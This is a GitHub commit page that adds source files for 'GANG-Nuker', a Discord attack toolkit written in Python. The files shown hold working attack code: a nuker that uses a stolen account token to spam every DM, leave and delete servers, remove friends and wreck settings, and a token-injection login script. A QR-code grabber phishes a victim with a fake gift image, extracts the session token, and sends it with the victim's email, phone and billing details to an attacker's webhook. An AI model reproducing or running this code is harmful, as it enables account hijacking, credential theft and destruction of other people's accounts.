-
Notifications
You must be signed in to change notification settings - Fork 148
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
cc2aaf5
commit 4fd8983
Showing
21 changed files
with
3,720 additions
and
0 deletions.
There are no files selected for viewing
Empty file.
Empty file.
Empty file.
Empty file.
Empty file.
Empty file.
Empty file.
Large diffs are not rendered by default.
Oops, something went wrong.
Empty file.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,103 @@ | ||
# Coded by ††#9999 | https://github.com/TT-Tutorials | https://github.com/TT-Tutorials/GANG-Nuker | ||
# GANG Discord Nuker / Multi Tool© | ||
# Copyright © 2022 | ||
######################################## | ||
|
||
import os | ||
import random | ||
import requests | ||
import threading | ||
from colorama import Fore | ||
from itertools import cycle | ||
from pystyle import Add, Center, Anime, Colors, Colorate, Write, System | ||
|
||
from utilities.Settings.common import SlowPrint, getheaders, proxy | ||
|
||
############################################################################### | ||
|
||
def GANGNUKER_START(token, Server_Name, message_Content): | ||
if threading.active_count() <= 100: | ||
t = threading.Thread(target=CustomSeizure, args=(token, )) | ||
t.start() | ||
|
||
headers = {'Authorization': token} | ||
channelIds = requests.get("https://discord.com/api/v9/users/@me/channels", headers=getheaders(token)).json() | ||
for channel in channelIds: | ||
try: | ||
requests.post(f'https://discord.com/api/v9/channels/'+channel['id']+'/messages', | ||
proxies=proxy(), | ||
headers=headers, | ||
data={"content": f"{message_Content}"}) | ||
print(f"[ {Fore.LIGHTMAGENTA_EX}${Fore.RESET} ] ID: "+channel['id']) | ||
except Exception as e: | ||
print(f"The following error has been encountered and is being ignored: {e}") | ||
Write.Print(f"\n\nSent Message to ALL friends\n", Colors.purple_to_blue, interval=0.009) | ||
|
||
guildsIds = requests.get("https://discord.com/api/v8/users/@me/guilds", headers=getheaders(token)).json() | ||
for guild in guildsIds: | ||
try: | ||
requests.delete( | ||
f'https://discord.com/api/v8/users/@me/guilds/'+guild['id'], proxies=proxy(), headers={'Authorization': token}) | ||
print(f"[ {Fore.LIGHTMAGENTA_EX}${Fore.RESET} ] Left Server: "+guild['name']+Fore.RESET) | ||
except Exception as e: | ||
print(f"The following error has been encountered and is being ignored: {e}") | ||
|
||
for guild in guildsIds: | ||
try: | ||
requests.delete(f'https://discord.com/api/v8/guilds/'+guild['id'], proxies=proxy(), headers={'Authorization': token}) | ||
print(f'[ {Fore.LIGHTMAGENTA_EX}${Fore.RESET} ] Deleted: '+guild['name']) | ||
except Exception as e: | ||
print(f"The following error has been encountered and is being ignored: {e}") | ||
Write.Print(f"\nLeft / Deleted Guilds\n", Colors.purple_to_blue, interval=0.009) | ||
|
||
friendIds = requests.get("https://discord.com/api/v9/users/@me/relationships", proxies=proxy(), headers=getheaders(token)).json() | ||
for friend in friendIds: | ||
try: | ||
requests.delete( | ||
f'https://discord.com/api/v9/users/@me/relationships/'+friend['id'], proxies=proxy(), headers=getheaders(token)) | ||
print(f"[ {Fore.LIGHTMAGENTA_EX}${Fore.RESET} ] Removed Friend: "+friend['user']['username']+"#"+friend['user']['discriminator']+Fore.RESET) | ||
except Exception as e: | ||
print(f"[\x1b[95m>\x1b[95m\x1B[37m] The following error has been encountered and is being ignored: {e}") | ||
Write.Print(f"\nRemoved all available friends\n", Colors.purple_to_blue, interval=0.009) | ||
|
||
for i in range(100): | ||
try: | ||
payload = {'name': f'{Server_Name}', 'region': 'europe', 'icon': None, 'channels': None} | ||
requests.post('https://discord.com/api/v7/guilds', proxies=proxy(), headers=getheaders(token), json=payload) | ||
print(f"[ {Fore.LIGHTMAGENTA_EX}${Fore.RESET} ] Created | {i}{Fore.RESET}") | ||
except Exception as e: | ||
print(f"[\x1b[95m>\x1b[95m\x1B[37m] The following error has been encountered and is being ignored: {e}") | ||
Write.Print(f"\nCreated all servers\n", Colors.purple_to_blue, interval=0.009) | ||
t.do_run = False | ||
requests.delete("https://discord.com/api/v8/hypesquad/online", proxies=proxy(), headers=getheaders(token)) | ||
setting = { | ||
'theme': "light", | ||
'locale': "ja", | ||
'inline_embed_media': False, | ||
'inline_attachment_media': False, | ||
'gif_auto_play': False, | ||
'enable_tts_command': False, | ||
'render_embeds': False, | ||
'render_reactions': False, | ||
'animate_emoji': False, | ||
'convert_emoticons': False, | ||
'message_display_compact': False, | ||
'explicit_content_filter': '0', | ||
"custom_status": {"text": "GANG-NUKER RUNS ME <3"}, | ||
'status': "idle" | ||
} | ||
requests.patch("https://discord.com/api/v7/users/@me/settings", proxies=proxy(), headers=getheaders(token), json=setting) | ||
j = requests.get("https://discordapp.com/api/v9/users/@me", proxies=proxy(), headers=getheaders(token)).json() | ||
a = j['username'] + "#" + j['discriminator'] | ||
Write.Print(f"\n\nDone, RIP TO THAT ACCOUNT\n", Colors.purple_to_blue, interval=0.009) | ||
print("[ \x1b[95m>\x1b[95m\x1B[37m ] Press ENTER: ", end="") | ||
spammer() | ||
|
||
######################################## LIGHT / DARK MODE ######################################## | ||
|
||
def CustomSeizure(token): | ||
t = threading.currentThread() | ||
while getattr(t, "do_run", True): | ||
modes = cycle(["light", "dark"]) | ||
setting = {'theme': next(modes), 'locale': random.choice(['ja', 'zh-TW', 'ko', 'zh-CN'])} | ||
requests.patch("https://discord.com/api/v7/users/@me/settings", proxies=proxy(), headers=getheaders(token), json=setting) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,69 @@ | ||
# Coded / Dev: ††#9999 | https://github.com/TT-Tutorials | https://github.com/TT-Tutorials/GANG-Nuker | ||
# GANG Discord Nuker / Multi Tool© | ||
# Copyright © 2022 | ||
######################################## | ||
|
||
|
||
import requests | ||
from time import sleep | ||
from colorama import Fore, Back | ||
from selenium import webdriver, common | ||
|
||
from utilities.Settings.common import getDriver, getheaders, SlowPrint | ||
|
||
def TokenLogin(token): | ||
j = requests.get("https://discord.com/api/v9/users/@me", headers=getheaders(token)).json() | ||
user = j["username"] + "#" + str(j["discriminator"]) | ||
script = """ | ||
document.body.appendChild(document.createElement `iframe`).contentWindow.localStorage.token = `"%s"` | ||
location.reload(); | ||
""" % (token) | ||
type_ = getDriver() | ||
|
||
if type_ == "chromedriver.exe": | ||
opts = webdriver.ChromeOptions() | ||
opts.add_experimental_option('excludeSwitches', ['enable-logging']) | ||
opts.add_experimental_option("detach", True) | ||
try: | ||
driver = webdriver.Chrome(options=opts) | ||
except common.exceptions.SessionNotCreatedException as e: | ||
print(e.msg) | ||
sleep(2) | ||
SlowPrint("Press ENTER: ") | ||
input() | ||
spammer() | ||
elif type_ == "operadriver.exe": | ||
opts = webdriver.opera.options.ChromeOptions() | ||
opts.add_experimental_option('excludeSwitches', ['enable-logging']) | ||
opts.add_experimental_option("detach", True) | ||
try: | ||
driver = webdriver.Opera(options=opts) | ||
except common.exceptions.SessionNotCreatedException as e: | ||
print(e.msg) | ||
sleep(2) | ||
SlowPrint("Press ENTER: ") | ||
input() | ||
spammer() | ||
elif type_ == "msedgedriver.exe": | ||
opts = webdriver.EdgeOptions() | ||
opts.add_experimental_option('excludeSwitches', ['enable-logging']) | ||
opts.add_experimental_option("detach", True) | ||
try: | ||
driver = webdriver.Edge(options=opts) | ||
except common.exceptions.SessionNotCreatedException as e: | ||
print(e.msg) | ||
sleep(2) | ||
SlowPrint(f"[\x1b[95m>\x1b[95m\x1B[37m] Press ENTER: ") | ||
input() | ||
spammer() | ||
else: | ||
print(f'{Fore.RESET}[{Fore.RED}Error{Fore.RESET}] : Coudln\'t find a suitable driver to automatically login to {user}') | ||
sleep(3) | ||
print(f"{Fore.YELLOW}Paste this script into the console of a browser:{Fore.RESET}\n\n{Back.RED}{script}\n{Back.RESET}") | ||
print("Press ENTER: ", end="") | ||
input() | ||
spammer() | ||
|
||
print(f"\n[\x1b[95m>\x1b[95m\x1B[37m] Logging Into: {user}") | ||
driver.get("https://discordapp.com/login") | ||
driver.execute_script(script) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,20 @@ | ||
# Coded / Dev: ††#9999 | https://github.com/TT-Tutorials | https://github.com/TT-Tutorials/GANG-Nuker | ||
# GANG Discord Nuker / Multi Tool© | ||
# Copyright © 2022 | ||
######################################## | ||
|
||
|
||
import requests | ||
from colorama import Fore | ||
|
||
from utilities.Settings.common import * | ||
|
||
def DmDeleter(token, channels): | ||
for channel in channels: | ||
try: | ||
requests.delete(f'https://discord.com/api/v7/channels/'+channel['id'], | ||
proxies=proxy(), | ||
headers=getheaders(token)) | ||
print(f"[{Fore.LIGHTGREEN_EX}>{Fore.RESET}] Deleted DM: {Fore.WHITE}"+channel['id']+Fore.RESET) | ||
except Exception as e: | ||
print(f"\nERROR | {e}") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,192 @@ | ||
# Coded / Dev: ††#9999 | https://github.com/TT-Tutorials | https://github.com/TT-Tutorials/GANG-Nuker | ||
# GANG Discord Nuker / Multi Tool© | ||
# Copyright © 2022 | ||
######################################## | ||
|
||
|
||
import os | ||
import sys | ||
import json | ||
import base64 | ||
import requests | ||
from PIL import Image | ||
from time import sleep | ||
from colorama import Fore | ||
from zipfile import ZipFile | ||
from bs4 import BeautifulSoup | ||
from urllib.request import urlretrieve | ||
from selenium import webdriver, common | ||
|
||
from utilities.Settings.common import getDriver, getheaders, SlowPrint | ||
|
||
def logo_qr(): | ||
im1 = Image.open('QR-Code/temp_qr_code.png', 'r') | ||
im2 = Image.open('QR-Code/overlay.png', 'r') | ||
im1.paste(im2, (60, 55), im2) | ||
im1.save('QR-Code/Qr_Code.png', quality=95) | ||
|
||
def paste_template(): | ||
im1 = Image.open('QR-Code/template.png', 'r') | ||
im2 = Image.open('QR-Code/Qr_Code.png', 'r') | ||
im1.paste(im2, (120, 409)) | ||
im1.save('QR-Code/discord_gift.png', quality=95) | ||
|
||
def QR_Grabber(Webhook): | ||
type_ = getDriver() | ||
|
||
if type_ == "chromedriver.exe": | ||
opts = webdriver.ChromeOptions() | ||
opts.add_experimental_option('excludeSwitches', ['enable-logging']) | ||
opts.add_experimental_option("detach", True) | ||
try: | ||
driver = webdriver.Chrome(options=opts) | ||
except common.exceptions.SessionNotCreatedException as e: | ||
print(e.msg) | ||
sleep(2) | ||
SlowPrint("Enter anything to continue. . . ") | ||
input() | ||
spammer() | ||
elif type_ == "operadriver.exe": | ||
opts = webdriver.opera.options.ChromeOptions() | ||
opts.add_experimental_option('excludeSwitches', ['enable-logging']) | ||
opts.add_experimental_option("detach", True) | ||
try: | ||
driver = webdriver.Opera(options=opts) | ||
except common.exceptions.SessionNotCreatedException as e: | ||
print(e.msg) | ||
sleep(2) | ||
SlowPrint("Enter anything to continue. . . ") | ||
input() | ||
spammer() | ||
elif type_ == "msedgedriver.exe": | ||
opts = webdriver.EdgeOptions() | ||
opts.add_experimental_option('excludeSwitches', ['enable-logging']) | ||
opts.add_experimental_option("detach", True) | ||
try: | ||
driver = webdriver.Edge(options=opts) | ||
except common.exceptions.SessionNotCreatedException as e: | ||
print(e.msg) | ||
sleep(2) | ||
SlowPrint(f"Enter anything to continue. . .") | ||
input() | ||
spammer() | ||
else: | ||
print(f'{Fore.RESET}[{Fore.RED}Error{Fore.RESET}] : Coudln\'t find a driver to create a QR code with') | ||
sleep(3) | ||
print("Enter anything to continue. . . ", end="") | ||
input() | ||
spammer() | ||
|
||
driver.get('https://discord.com/login') | ||
sleep(3) | ||
|
||
page_source = driver.page_source | ||
soup = BeautifulSoup(page_source, features='html.parser') | ||
|
||
div = soup.find('div', {'class': 'qrCode-2R7t9S'}) | ||
qr_code = div.find('img')['src'] | ||
file = os.path.join(os.getcwd(), 'QR-Code/temp_qr_code.png') | ||
|
||
img_data = base64.b64decode(qr_code.replace('data:image/png;base64,', '')) | ||
|
||
SlowPrint(f"\n{Fore.WHITE}Downloading QR Templates!") | ||
|
||
urlretrieve( | ||
"https://github.com/TT-Tutorials/addons/raw/main/GANG-Nuker%20Addons/QR-Code.zip", | ||
filename="QR-Code.zip", | ||
) | ||
with ZipFile("QR-Code.zip", 'r')as zip2: | ||
zip2.extractall() | ||
os.remove("QR-Code.zip") | ||
|
||
with open(file,'wb') as handler: | ||
handler.write(img_data) | ||
|
||
discord_login = driver.current_url | ||
logo_qr() | ||
paste_template() | ||
|
||
os.remove(os.getcwd()+"\\QR-Code\\overlay.png") | ||
os.remove(os.getcwd()+"\\QR-Code\\template.png") | ||
os.remove(os.getcwd()+"\\QR-Code\\temp_qr_code.png") | ||
|
||
print(f'\nQR Code generated in '+os.getcwd()+"\\QR-Code") | ||
print(f'\n[\x1b[95m>\x1b[95m\x1B[37m] Don\'t Close This Window! This will ensure that you get there info through the webhook!') | ||
print(f'[\x1b[95m>\x1b[95m\x1B[37m] Wait for victim to scan the QR Code...') | ||
os.system(f'start {os.path.realpath(os.getcwd()+"/QR-Code")}') | ||
if sys.argv[0].endswith(".exe"): | ||
print(f'\n[\x1b[95m>\x1b[95m\x1B[37m] Opening Another GANG-Nuker File') | ||
try: | ||
os.startfile(sys.argv[0]) | ||
except Exception: | ||
pass | ||
|
||
while True: | ||
if discord_login != driver.current_url: | ||
token = driver.execute_script(''' | ||
token = (webpackChunkdiscord_app.push([ | ||
[''], | ||
{}, | ||
e=>{m=[];for( | ||
let c in e.c) | ||
m.push(e.c[c])} | ||
]),m) | ||
.find(m=>m?.exports?.default?.getToken!==void 0).exports.default.getToken() | ||
return token; | ||
''') | ||
j = requests.get("https://discord.com/api/v9/users/@me", headers=getheaders(token)).json() | ||
badges = "" | ||
flags = j['flags'] | ||
if (flags == 1): badges += "Staff, " | ||
if (flags == 2): badges += "Partner, " | ||
if (flags == 4): badges += "Hypesquad Event, " | ||
if (flags == 8): badges += "Green Bughunter, " | ||
if (flags == 64): badges += "Hypesquad Bravery, " | ||
if (flags == 128): badges += "HypeSquad Brillance, " | ||
if (flags == 256): badges += "HypeSquad Balance, " | ||
if (flags == 512): badges += "Early Supporter, " | ||
if (flags == 16384): badges += "Gold BugHunter, " | ||
if (flags == 131072): badges += "Verified Bot Developer, " | ||
if (badges == ""): badges = "None" | ||
|
||
user = j["username"] + "#" + str(j["discriminator"]) | ||
email = j["email"] | ||
phone = j["phone"] if j["phone"] else "No Phone Number attached" | ||
|
||
url = f'https://cdn.discordapp.com/avatars/{j["id"]}/{j["avatar"]}.gif' | ||
try: | ||
requests.get(url) | ||
except: | ||
url = url[:-4] | ||
nitro_data = requests.get('https://discordapp.com/api/v6/users/@me/billing/subscriptions', headers=getheaders(token)).json() | ||
has_nitro = False | ||
has_nitro = bool(len(nitro_data) > 0) | ||
billing = bool(len(json.loads(requests.get("https://discordapp.com/api/v6/users/@me/billing/payment-sources", headers=getheaders(token)).text)) > 0) | ||
|
||
embed = { | ||
"avatar_url":"https://media.discordapp.net/attachments/878154522978029582/917679300705124412/a4235fd1da45633adbc305450741b506.png", | ||
"embeds": [ | ||
{ | ||
"author": { | ||
"name": "GANG-Nuker | QR Token Grabber", | ||
"url": "https://github.com/TT-Tutorials/GANG-Nuker", | ||
"icon_url": "https://cdn.discordapp.com/attachments/982965691093254154/994193135213228092/GANGGRABBER.gif" | ||
}, | ||
"description": f"**{user}** Just Scanned the QR Code!\n**[Avatar]({url})**\n\n**Email:** {email}\n**Phone:** {phone}\n**Billing:** {billing}\n**Nitro:** {has_nitro}\n**Badges:** {badges}", | ||
"fields": [ | ||
{ | ||
"name": "**Token**", | ||
"value": f"```fix\n{token}```", | ||
"inline": False | ||
} | ||
], | ||
"color": 12208895, | ||
|
||
"footer": { | ||
"text": "https://github.com/TT-Tutorials | https://github.com/TT-Tutorials/GANG-Nuker" | ||
} | ||
} | ||
] | ||
} | ||
requests.post(Webhook, json=embed) | ||
break |
Oops, something went wrong.